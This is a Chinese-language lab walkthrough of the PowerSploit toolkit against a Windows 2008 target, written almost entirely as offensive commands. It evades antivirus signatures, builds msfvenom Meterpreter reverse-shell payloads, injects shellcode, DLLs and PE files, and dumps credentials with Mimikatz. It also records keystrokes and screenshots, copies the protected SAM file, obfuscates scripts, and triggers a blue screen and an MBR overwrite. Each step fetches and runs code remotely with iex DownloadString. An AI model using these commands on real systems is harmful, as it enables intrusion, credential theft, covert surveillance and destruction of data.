一、AntivirusBypass(绕过杀毒)
Find-AVSignature 发现杀软的签名
1、先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.ps1脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/AntivirusBypass/Find-AVSignature.ps1")
2、运行脚本，这里以之前的msf.exe反弹马为例 注意:本例把偏移量划分的不太合适，有兴趣自己慢慢划分，文件的偏移量范围本例使用winhex查看的。
Find-AVSignature -StartByte 0 -EndByte 220000 -Interval 110000 -Path C:UsersAdministrator.WIN2008Desktopmsf.exe -OutPath C:UsersAdministrator.WIN2008Desktop est un2 -Verbose
3、 上图生成3个文件,然后把每个文件用在线病毒测试网站测试一下(这里推荐使用http://www.virscan.org/)，看看病毒在哪个文件，然后再把有病毒的那个文件继续划分偏移量范围生成新的文件，然后继续再病毒测试网站测试，直到最终确定病毒的特征码范围。
二、CodeExecution(代码执行)
Shellcode注入:
1、先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.ps1脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
get-help Invoke-Shellcode
2、在kali中使用msfvenom生成一个powershell反弹马
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.10.128 lport=4444 -f powershell -o /var/www/test
3、在msf中设置监听(windows/x64/meterpreter/reverse_https模块进行反弹)并开启监听
use exploit/multi/handler #使用监听模块
set payload windows/x64/meterpreter/reverse_https #设置一个payload
4、把刚才使用msfvenom生成的powershell脚本复制到靶机(windows 2008)
5、靶机(windows 2008)加载shellcode #注意这里的shellcode为在kali用msfvenom生成的一个powershell脚本,打开内容，取变量$buf的值
Invoke-Shellcode -Shellcode @() #可以查看帮助文档，其中有一个例子这个的用法
6、kali中运行监听之后就可以看到得到靶机(windows 2008)的一个meterpreter的shell，说明成功控制靶机
7、也可以把使用Invoke-Shellcode脚本进行进程注入到别的进程(这里以explorer的3508为例)
DLL：
首先我们需要知道我们在启动一个程序的时候并没有把所有的需要用到的数据或者文件运行起来，而是只运行了关键部分，那么当我们需要调用到某一功能时再通过DLL来动态链接，不需要时就可以卸载，使得程序不显得臃肿。
DLL注入就是将代码插入/注入到正在运行的进程中的过程。我们注入的代码是动态链接库(DLL)的形式。为什么可以做到这一点？因为DLL是在运行时根据需要来进行加载
注意:对某些进程的注入需要一定的权限
Dll注入:
可以利用powersploit将dll文件注入到当前进程中，但是dll文件必须在目标主机上。
1.先在靶机(windows 2008)上远程加载位于win7的Invoke-DllInjection.ps1脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")
2.kali利用msfvenom生成一个dll反弹马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=4444 -f dll -o /var/www/msf.dll
3.在msf中设置监听(windows/x64/meterpreter/reverse_tcp模块进行反弹)并开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
4.把刚才生成的msf.dll文件拷贝到靶机(windows 2008),然后在windows 2008上运行powershll脚本
Invoke-DllInjection -ProcessID 464 -Dll C:UsersAdministrator.WIN2008Desktopmsf.dll
5.kali msf中运行监听,就可以看到windows 2008反弹过来一个session
6.也可以开启一个隐藏进程并注入dll
Invoke-ReflectivePEInjection 反射型PE注入
1、先在靶机(windows 2008)上远程加载位于win7 Invoke-ReflectivePEInjection脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-ReflectivePEInjection.ps1")
2、kali中利用msfvenom生成一个exe反弹马并对木马进行多次编码
msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 lhost=10.10.10.128 lport=4444 -f exe -o /var/www/msf.exe
3、在kali msf中设置监听(windows/x64/meterpreter_reverse_tcp)并开启监听
4、把在kali中生成的exe木马复制到靶机，在靶机(windows 2008)执行脚本
$PEBytes = [IO.File]::ReadAllBytes('C:UsersAdministrator.WIN2008Desktopmsf.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
5、这时在kali端就能看到一个windows 2008反弹过来的session
三、Recon(信息侦察)
Invoke-Portscan 端口扫描
1、先在靶机(windows 2008)上远程加载位于win7 Invoke-Portscan.ps1脚本
2、开始端口扫描,这里以扫描一个ip字典为例，别的参数，可以查看帮助文档
Invoke-ReverseDnsLookup 反向DNS查询
1、 先在靶机(windows 2008)上远程加载位于win7 Invoke-ReverseDnsLookup脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Invoke-ReverseDnsLookup.ps1")
1、 运行脚本查找特定的ip的主机名,下图可以看到查找ip对应的主机名
Invoke-ReverseDnsLookup "10.10.10.128,10.10.10.183,10.10.10.187" | fl IP,HostName
Get-HttpStatus 网站目录检测
1、先在靶机(windows 2008)上远程加载位于win7 Get-HttpStatus脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-HttpStatus.ps1")
2、 自己创建一个字典，运行脚本,下图可以看到status状态是ok说明目标存在那个网站目录。
Get-ComputerDetails 获得主机登录信息
1、 先在靶机(windows 2008)上远程加载位于win7 Get-ComputerDetails脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-ComputerDetails.ps1")
2、 运行脚本Get-ComputerDetails，看到如下效果，有报错，不知道什么原因，难道powerspolit大神异常处理没考虑完全?
四、Exfiltration(信息收集) #这个文件夹主要是收集目标主机上的信息
Invoke-Mimikatz 查看主机密码（需要管理员权限）
1、先在靶机(windows 2008)上远程加载位于win7 Invoke-Mimikatz脚本,并运行脚本查看密码
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1")
Get-Keystrokes 键盘记录(详细的鼠标键盘记录)
1、先在靶机(windows 2008)上远程加载位于win7 Get-Keystrokes脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1")
2、运行Get-Keystrokes,并把记录结果保存到一个文件
Invoke-NinjaCopy 超级复制（需要管理员权限，可以复制受保护的运行中的系统文件）
1、先在靶机(windows 2008)上远程加载位于win7 Invoke-NinjaCopy脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-NinjaCopy.ps1")
get-help Invoke-NinjaCopy
2、运行脚本,把SAM文件复制一份到别处，下图可以看到成功复制一份SAM文件，注意普通复制不能复制系统限制的文件。
Invoke-NinjaCopy -Path "C:WindowsSystem32configSAM" -LocalDestination "C:UsersAdministratorDesktopSAM"
3、用普通复制测试一下，看看能否复制SAM文件，下图可以看到普通复制无法复制SAM，因为系统对SAM文件进行保护，只要进程一开启(系统开机自动运行关于SAM文件的进程并且无法停止掉进程),别的程序或者进程就无法访问SAM文件。
Get-TimedScreenshot 屏幕记录
1.先在靶机(windows 2008)上远程加载位于win7 Get-TimedScreenshot脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-TimedScreenshot.ps1")
2.运行脚本,在test文件夹中可以看到抓取屏幕的图片
Get-TimedScreenshot -Path c: est -Interval 10 -EndTime 23:20
3.Get-MicrophoneAudio 通过麦克风记录声音，与Get-TimedScreenshot(屏幕记录)方法一样，这里不再测试
Invoke-CredentialInjection
1.先在靶机(windows 2008)上远程加载位于win7 Invoke-TokenManipulation脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-TokenManipulation.ps1")
2.Invoke-TokenManipulation -Enumerate 枚举唯一 可用的令牌 别的例子自己查看帮助
五、ScriptModification 脚本修改
Out-CompressedDll 将dll压缩并base64编码
1.先在靶机(windows 2008)上远程加载位于win7 Out-CompressedDll脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/Out-CompressedDll.ps1")
2.运行脚本 Out-CompressedDll -FilePath C:UsersAdministrator.WIN2008Desktopmsf.dll
Out-EncodedCommand 将脚本或代码块编码
1.先在靶机(windows 2008)上远程加载位于win7 Out-EncodedCommand脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncodedCommand .ps1")
2. 脚本块编码
3.脚本编码
Out-EncryptedScript 脚本加密
1.先在靶机(windows 2008)上远程加载位于win7 Out-EncryptedScript脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncryptedScript .ps1")
2.给脚本加密
Remove-Comments 删除注释和不必要的空白符
1.先在靶机(windows 2008)上远程加载位于win7 Remove-Comments脚本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Remove-Comments .ps1")
2.运行脚本,删除代码块中的空白和注释以及脚本中的空白和注释
六、Mayhem
1.首先查看Mayhem帮助说明文档，可以看到说明文档使用Mayhem模块需要先将Mayhem放到C:WindowsSystem32WindowsPowerShellv1.0Modules下,然后需要导入模块
2.将Mayhem放到相应的位置之后,便开始导入模块，以及查看命令帮助
Import-Module Mayhem
Get-Command -Module Mayhem
3.开始使用命令
3.1Set-CriticalProcess 退出powershell时使系统蓝屏
3.2退出powershell测试是否蓝屏，下图可以看到蓝屏了
3.3 Set-MasterBootRecord 覆写主引导记录，本次实验并没有成功
